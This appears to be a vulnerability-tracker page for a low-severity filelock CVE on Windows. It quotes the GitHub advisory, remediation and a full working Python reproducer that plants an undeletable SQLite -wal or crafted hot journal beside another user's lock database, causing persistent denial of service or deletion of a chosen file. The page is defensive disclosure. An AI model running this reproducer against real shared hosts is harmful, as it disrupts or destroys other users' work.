filelock CVE-2026-112913
LOWAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain low-privileged local account on host
-
DeliveryCreate -wal side file beside victim lock database
-
ExploitDeny everyone DELETE on planted file
-
ExecutionVictim's lock acquire throws uncaught disk I/O error
-
ImpactPersistent denial of service until attacker removes file
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V15 - Secure Coding and Architecture TOCTOU prevention
|
| Exploitation Conditions | Exploitation requires all of: a Windows host; use of filelock's SQLite-backed ReadWriteLock or AsyncReadWriteLock (both route through _connect); the lock database located in a directory where another local account can create files but cannot delete the lock user's files - specifically C:\Windows\Temp (BUILTIN\Users granted create but not delete-child) or C:\Users\Public or any directory with such an ACL; and a second local account that plants a <database>-wal file beside the database and denies everyone the DELETE permission on it. Limiting factors that reduce real-world risk: the attacker must already have a local logon and file-create rights in that exact directory; databases kept in per-user locations such as %LOCALAPPDATA% or a per-user %TEMP% are not affected (default placement is not specified as world-creatable); and the integrity/deletion variant is harder (AC:H) because it additionally needs the lock database to contain at least one table and the planted <database>-journal to grant the lock account write access, conditions filelock's own empty database does not create. |
| Impact | This is a low-priority issue and the signals agree on that. The vendor CVSS 3.1 vector (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L, 3.3 Low) describes a local-only, authenticated-but-low-privilege availability problem with no confidentiality or integrity impact in the scored variant, and vuln.today's decision label is 'monitor' - not act_now or emergency. There is no CISA KEV listing (not actively exploited) and no EPSS score was supplied in the input, so widespread-exploitation probability cannot be quantified from this data; the local attack vector and the requirement for a co-located second local account make opportunistic mass exploitation implausible regardless. A working proof-of-concept reproducer is published inside the GitHub advisory (recorded as succeeding on a Windows 11 VM), so exploitability is demonstrated, but a PoC is a distinct signal from active exploitation and does not raise this to a priority. The one nuance worth flagging: the impact depends entirely on where the lock database is placed - it is a real local DoS (and, in the higher-complexity deletion variant, a single-file delete) only when the database lives in a world-creatable directory such as C:\Windows\Temp or C:\Users\Public, and is a non-issue in per-user directories. No signals conflict here; the main gap is the absent EPSS value. |
| Exploit ScenarioDerived | On a shared Windows host, a low-privileged local user drops a crafted <database>-wal file beside another user's ReadWriteLock SQLite database in C:\Windows\Temp and denies everyone DELETE on it (which a file's creator may do). Every subsequent read_lock() or write_lock() by the lock user then raises sqlite3.OperationalError: disk I/O error immediately, ignoring timeout, and the lock user cannot remove the planted file. A full working reproducer (win_two_accounts.py) is published in the advisory, confirming the behavior; the attacker needs only a local logon and file-create rights in that directory, with no race and no user interaction. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 23, 2026
Denial of service in Python filelock 3.20.4 through 4.2.0 on Windows: ReadWriteLock and AsyncReadWriteLock hand the lock database path straight to sqlite3.connect, so SQLite acts on the <database>-wal, <database>-journal and <database>-shm side files that any local account able to create files in the database's directory can plant beside it. An undeletable, planted -wal makes every read_lock() and write_lock() fail at once with sqlite3.OperationalError: disk I/O error regardless of the timeout value, because that error is not converted into Timeout, and it persists until the planting account removes the file - a condition that applies in C:\Windows\Temp and C:\Users\Public, where users may create files but not delete other accounts'. The scored impact is availability only (CVSS 3.1 3.3, AV:L/AC:L/PR:L, C:N/I:N/A:L); a harder secondary variant can make SQLite treat a planted journal as hot, replay it and delete a file of the other account's choosing (assessed AC:H/I:L, 3.6), and while the GitHub advisory ships a maintainer reproducer that was run on a Windows 11 VM, no exploitation in the wild has been reported and the vuln.today decision label is monitor.
RemediationAI
Vendor-released patch: 4.2.1 (https://github.com/tox-dev/filelock/releases/tag/4.2.1), delivered through PR #854 (https://github.com/tox-dev/filelock/pull/854), part of the same effort as PR #834 and commit 5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d. In the fixed release the lock reads the database directory's access control list and connects SQLite by name only when the directory owner and every entry granting add-file, add-subdirectory or delete-entry rights belongs to the locking account, SYSTEM or Administrators; otherwise it links the database into a directory created with an ACL granting only those accounts and opens the link, and a filesystem without hard-link support now raises OSError instead of silently connecting by name. Until upgrading, keep every ReadWriteLock database in a directory other accounts cannot create files in - %LOCALAPPDATA%, a per-user %TEMP%, or a directory whose inheritance has been removed and which grants only the owner, SYSTEM and Administrators - and avoid C:\Windows\Temp and C:\Users\Public entirely; the trade-off is that shared, multi-user locations stop being usable for the lock database. Also treat a sqlite3.OperationalError: disk I/O error (or unable to open database file) on every acquire as evidence of a foreign <database>-wal or <database>-journal beside the database: the lock account cannot remove it, so only the planting account or an administrator can clear it, and callers that catch only Timeout or OSError will otherwise see an unhandled exception.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
filelock's SQLite-backed reader/writer lock connects SQLite to its lock database by pathname. SQLite derives three companion names from that path - the rollback journal <database>-journal, the write-ahead log <database>-wal, and the WAL shared-memory index <database>-shm - and before the lock runs any statement it acts on whichever of them it finds beside the database. On Windows, _connect opens the database with _open_non_reparse_fd, verifies through that handle that the file is a regular file, is not a reparse point and does not declare WAL mode, and then calls sqlite3.connect(database, ...) by name while holding the handle. _open_lock_database and _raise_if_wal inspect only that handle, never the sibling names, which is the time-of-check/time-of-use gap captured by CWE-367: the validated object is the database, not the names SQLite will consult next to it. On the first statement, PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;, SQLite takes its first lock and looks for <database>-wal; a non-empty -wal beside a database not in WAL mode is a leftover it tries to delete, and an explicit DENY of DELETE on that file (settable by its creator) makes the pragma raise SQLITE_IOERR_DELETE, surfacing as sqlite3.OperationalError: disk I/O error. _do_acquire_inner converts only "database is locked" into Timeout, so every synchronous and async acquire raises immediately instead. The journal variant requires a database holding at least one table (filelock itself creates an empty database) plus a writable crafted journal; SQLite treats it as hot, replays it and, at the end of recovery, unlinks the super-journal name in its 46-byte tail. The by-name connect was introduced with the SQLite ReadWriteLock in commit cfd4446 (PR #399, first tag 3.20.4) and was untouched by the later Linux descriptor route (4.0.9) and macOS hard-link route (4.1.1), which is why Windows remained affected through 4.2.0; the same side-file behavior on POSIX is tracked as GHSA-v4x8-3wr5-3wq8, where the sticky bit plays the role the directory ACL plays on Windows.
Know when Windows gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Needs a local logon (AV:L) and only ordinary file-create rights (PR:L); one pre-planted file with no race (AC:L) causes an uncatchable acquire failure (A:L) with no read or data change (C:N/I:N).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
On Windows, ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: <database>-journal, the rollback journal (pages saved to undo an interrupted write); <database>-wal, the write-ahead log (changes kept outside the main file); and <database>-shm, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone DELETE on it, which a file's creator may do. C:\Windows\Temp (the temporary directory of services, granting BUILTIN\Users create but not delete) and C:\Users\Public are such directories.
With a -wal in place, every read_lock() and write_lock() of the user running the lock (below: the lock user) raises sqlite3.OperationalError: disk I/O error at once, whatever timeout says, until that account removes its file; the lock user cannot. With a -journal beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L scores 3.3 (Low).
AV:L (local): the other account needs a logon on the same host. AC:L (low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier. PR:L (low privileges): an ordinary account that can create files in the directory is enough. UI:N (no user interaction). S:U (scope unchanged). C:N (no confidentiality impact): the other account learns nothing. I:N (no integrity impact in the scored variant): see the scoring note. A:L (partial availability impact): every acquire fails with an exception that Timeout handlers do not catch, until the other account removes its file; no crash, and the lock's own data is not changed.
Scoring note. The deletion variant reads CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L (3.6): I:L because the lock user's process deletes one file the journal names, AC:H because it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches every ReadWriteLock on Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: security (another account), availability for the scored variant.
Scope and preconditions
- Platform and classes: Windows only.
ReadWriteLockandAsyncReadWriteLock, both of which connect through_connect. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8. - Directory: one where another account can create files but cannot delete the lock user's.
C:\Windows\TempcarriesBUILTIN\Users:(CI)(S,WD,AD,X)(create file and create subdirectory, no delete child);C:\Users\Publicand any directory with such an entry qualify. A directory only the lock user can write, such as%LOCALAPPDATA%or the per-user temporary directory, is not affected. - The other account creates
<database>-wal, grants everyone modify and denies everyoneDELETEon it. A file's creator may set both. The lock user can open and read the file but not delete it. - Deletion variant: the lock database holds at least one table (filelock creates an empty database, and the review's reproducer has the lock account create the table), and the other account's
<database>-journalgrants the lock account modify rights. The journal's tail names a file the lock user can delete. - What the lock user sees:
write_lock(timeout=1)raisedsqlite3.OperationalError: disk I/O errorwith the undeletable-walin place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raisedsqlite3.OperationalError: unable to open database file. - The documentation at the scanned commit states "the lock directory must not be writable by untrusted users" for
WindowsFileLock, in its symlink paragraph; theReadWriteLockdocumentation names no directory requirement on Windows.
Affected code
Scanned commit b831496b0273: the Windows branch of _connect checks the database through a handle and then calls sqlite3.connect(database, ...) with the path. _open_lock_database and _raise_if_wal inspect that handle, not the side files. The first statement is PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY; at L816. _do_acquire_inner at L763 turns only "database is locked" into Timeout; any other sqlite3.OperationalError leaves the acquire.
Introduced
cfd4446 "feat(lock): add SQLite-based ReadWriteLock" (#399, 2026-02-12), first tag 3.20.4 (verified with git tag --contains), passed the lock path to sqlite3.connect on every platform. The Linux descriptor route (4.0.9) and the macOS hard-link route (4.1.1) did not change Windows, where the connect has been by name in every release since. The reproducer ran against the head of PR #834 at 1f9e415, whose Windows branch of _connect is the same code as at b831496b0273.
Mechanism
_connect on Windows opens the database with _open_non_reparse_fd, checks through that handle that the file is a regular file, not a reparse point, and that its header does not declare WAL mode, and keeps the handle open while sqlite3.connect(database) opens the same name. The check covers the database, not the names beside it. On the first statement, PRAGMA journal_mode=MEMORY, SQLite takes its first lock on the database and looks for <database>-wal. A non-empty -wal beside a database that is not in WAL mode is a leftover SQLite deletes. The other account's file denies DELETE, so the pragma raises SQLITE_IOERR_DELETE, which reaches the caller as sqlite3.OperationalError: disk I/O error. _do_acquire_inner converts only "database is locked" into Timeout, so acquire_read(), acquire_write() and the async forms raise at once, on every call, until the file is gone. The lock user has no right to delete it.
The journal variant needs a database with content. Beside a non-empty database SQLite treats a <database>-journal with a valid header as hot (left by an interrupted write) and replays it before the first statement runs. The review's journal is 46 bytes: a file path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. That tail names a super-journal, and recovery ends by deleting the file it names. The lock user's write_lock() therefore deletes one file the other account chose, provided the lock user can delete it, and returns without error. SQLite opens a hot journal for writing, so the other account's journal must grant the lock account modify rights; a read-only journal makes every acquire raise sqlite3.OperationalError: unable to open database file instead. GHSA-v4x8-3wr5-3wq8 describes the same side-file behavior on POSIX, where the sticky bit plays the part the directory ACL plays here.
Reproduction
The review's reproducer, quoted as received except for the second account's password on line 2, replaced by <password>. It ran on a Windows 11 VM (NTFS, CPython 3.14, SQLite 3.53.1) against the head of PR #834 at 1f9e415, as the administrator account bernat, which stands in for the other account that creates the side files; the lock account is fltester, a member of Users, whose database lives in C:\Windows\Temp.
win_two_accounts.py
# Run from /tmp/claude-1000/-home-bernat-git-filelock-filelock-main/3ccf38c2-14f9-4acc-a05f-18230504d7cd/scratchpad/review4/D/834 (the script is staged there):
# winvm up && winvm sync && winvm run "python3.14 -I win_two_accounts.py . fltester '<password>'"
# which runs, as the administrator account on the VM:
# python3.14 -I win_two_accounts.py <worktree> <second-user> <password>
# The second (non-administrator) account is the lock user. Its database lives in C:\Windows\Temp, where every account
# may create files but not delete another account's. This administrator account stands in for the other account that
# plants SQLite side files there: it creates them, grants everyone read, and denies everyone delete, all of which the
# file's creator may do.
import ctypes
import os
import pathlib
import sqlite3
import struct
import subprocess
import sys
from ctypes import wintypes
sys.path.insert(0, sys.argv[1] + "/src")
from filelock import ReadWriteLock
user, password = sys.argv[2], sys.argv[3]
base = pathlib.Path(os.environ["SYSTEMROOT"]) / "Temp"
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
tag = f"rw834-{os.getpid()}"
advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
advapi32.LogonUserW.argtypes = [wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)]
advapi32.GetUserNameW.argtypes = [wintypes.LPWSTR, ctypes.POINTER(wintypes.DWORD)]
token = wintypes.HANDLE()
if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
raise ctypes.WinError(ctypes.get_last_error())
def current_user() -> str:
size = wintypes.DWORD(256)
buffer = ctypes.create_unicode_buffer(size.value)
advapi32.GetUserNameW(buffer, ctypes.byref(size))
return buffer.value
def as_lock_user(action):
if not advapi32.ImpersonateLoggedOnUser(token):
raise ctypes.WinError(ctypes.get_last_error())
try:
return action()
finally:
advapi32.RevertToSelf()
def plant(path: pathlib.Path, data: bytes, *, deletable: bool) -> None:
path.write_bytes(data)
subprocess.run([icacls, str(path), "/grant", "*S-1-1-0:(M)"], check=True, capture_output=True)
if not deletable:
subprocess.run([icacls, str(path), "/deny", "*S-1-1-0:(D)"], check=True, capture_output=True)
def acquire(db: pathlib.Path) -> str:
try:
with ReadWriteLock(db, is_singleton=False).write_lock(timeout=1):
pass
except Exception as error:
return f"acquire failed: {type(error).__name__}: {error}"
return "acquired"
def hot_journal(super_journal: pathlib.Path) -> bytes:
name = os.fsencode(str(super_journal))
return name + struct.pack(">II", len(name), sum(name)) + bytes.fromhex("d9d505f920a163d7")
print("planting account:", current_user(), "| lock account:", as_lock_user(current_user))
db = base / f"{tag}-empty.db"
as_lock_user(lambda: db.touch())
plant(pathlib.Path(f"{db}-wal"), b"\0" * 32, deletable=False)
print("empty database, undeletable -wal:", as_lock_user(lambda: acquire(db)), "| -wal still exists:", pathlib.Path(f"{db}-wal").exists())
for deletable in (True, False):
db = base / f"{tag}-tables-{deletable}.db"
notes = base / f"{tag}-notes-{deletable}.txt"
def prepare() -> None:
with sqlite3.connect(db) as connection:
connection.execute("CREATE TABLE application (value)")
connection.close()
notes.write_text("keep")
as_lock_user(prepare)
plant(pathlib.Path(f"{db}-journal"), hot_journal(notes), deletable=deletable)
print(f"database with a table, {'deletable' if deletable else 'undeletable'} -journal naming the lock account's file:",
as_lock_user(lambda: acquire(db)), "| named file still exists:", notes.exists(), "| -journal still exists:", pathlib.Path(f"{db}-journal").exists())Recorded output on the VM:
planting account: bernat | lock account: fltester
empty database, undeletable -wal: acquire failed: OperationalError: disk I/O error | -wal still exists: True
database with a table, deletable -journal naming the lock account's file: acquired | named file still exists: False | -journal still exists: False
database with a table, undeletable -journal naming the lock account's file: acquire failed: OperationalError: unable to open database file | named file still exists: True | -journal still exists: TrueFailure sequence
flowchart TD
P["other account: create lock.db-wal (or lock.db-journal) beside lock.db in C:/Windows/Temp, grant everyone modify, deny everyone DELETE"] --> C["lock user: ReadWriteLock(lock.db).write_lock(timeout=1)"]
C --> O["_open_lock_database checks the handle: regular file, no reparse point, header not WAL"]
O --> S["sqlite3.connect(lock.db) by path, then PRAGMA journal_mode=MEMORY"]
S -- "empty database, undeletable -wal" --> E1["SQLite cannot delete the leftover -wal: OperationalError disk I/O error on every acquire, timeout not consulted"]
S -- "database with a table, writable -journal" --> E2["SQLite treats the journal as hot, replays it and deletes the file its tail names, acquire succeeds"]
S -- "database with a table, read-only -journal" --> E3["OperationalError unable to open database file on every acquire"]
classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;
classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;
classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;
class P,C,O,S info;
class E1,E2,E3 bad;Evidence
The reproducer printed the three lines above on the VM: the undeletable -wal beside an empty database made write_lock(timeout=1) fail with OperationalError: disk I/O error and left the file in place; the writable journal beside a database with one table let the acquire succeed while the file the journal named, created by the lock account with the content keep, was gone along with the journal; the read-only journal made the acquire fail with OperationalError: unable to open database file and left both files. The review notes that the Windows branch of _connect is unchanged since #399, so the behavior is the same at b831496b0273 and in 4.2.0. The scanner and the maintainers measured the same side-file effects on Linux for GHSA-v4x8-3wr5-3wq8.
Impact
In a directory such as C:\Windows\Temp, another local account turns every read_lock() and write_lock() on a ReadWriteLock database into an immediate sqlite3.OperationalError, for as long as its file stays. Callers that handle Timeout or OSError do not catch it, and the lock user cannot remove the file. With a lock database that holds a table and a journal the lock user can write, the lock user's process deletes one file of the other account's choosing, among the files the lock user may delete, and the acquire reports success. The lock's own database is not changed, nothing is read, and mutual exclusion between processes that acquire the lock holds.
Workarounds
- Keep the
ReadWriteLockdatabase in a directory other accounts cannot create files in:%LOCALAPPDATA%, the per-user temporary directory (%TEMP%of a user session), or a directory with inheritance removed and only the owner,SYSTEMandAdministratorsgranted.C:\Windows\TempandC:\Users\Publicdo not qualify. - Treat
sqlite3.OperationalError: disk I/O erroron every acquire as a foreign<database>-walbeside the database, which only its creator or an administrator can remove.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/854
Credits
Found by the maintainers while reviewing the fix for the POSIX form of this defect, GHSA-v4x8-3wr5-3wq8, reported by Anthropic's OSS Scanner on 15 October 2026 (review round 4, set D, finding F2).
- 2026-10-15 23:08 UTC: report received (36 findings; the Windows side-file effect is not among them)
- 2026-10-16 01:15 UTC: PR #834 opened, for the POSIX routes
- 2026-10-16 08:31 UTC: finding identified in the maintainers' review of PR #834
- 2026-10-16 22:43 UTC: draft advisory created
Blast Radius
ecosystem impact- 7 pypi packages depend on filelock (6 direct, 1 indirect)
Ecosystem-wide dependent count for version 3.20.4.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)GitHub Advisory
Unauthenticated remote code execution in SmarterTools SmarterMail lets an attacker upload arbitrary files to any locatio
Windows Win32k fails to properly handle objects in memory, allowing local privilege escalation exploited in the wild in
A privilege escalation vulnerability (CVSS 5.5). Risk factors: actively exploited (KEV-listed), EPSS 94% exploitation pr
Windows Internet Shortcut Files (.url) contain an external control vulnerability (CVE-2025-33053, CVSS 8.8) that enables
Windows SMB contains an improper access control vulnerability (CVE-2025-33073, CVSS 8.8) enabling authenticated attacker
An unrestricted file upload vulnerability exists in MiniWeb HTTP Server <= Build 300 that allows unauthenticated remote
FreeFloat FTP Server contains multiple critical design flaws that allow unauthenticated remote attackers to upload arbit
Serviio Media Server versions 1.4 through 1.8 on Windows contain an unauthenticated command injection in the /rest/actio
Mako Server versions 2.5 and 2.6 contain an unauthenticated OS command injection via the tutorial interface at examples/
React Native Metro Development Server binds to external interfaces by default and contains an OS command injection endpo
Command injection in the Windows Shell lets remote, unauthenticated attackers bypass a Windows security feature and then
External control of file name or path in Windows NTLM allows an unauthorized attacker to perform spoofing over a network
GHSA-9vhv-jxww-xfm5
NVD
CVE.org
Exploit-DB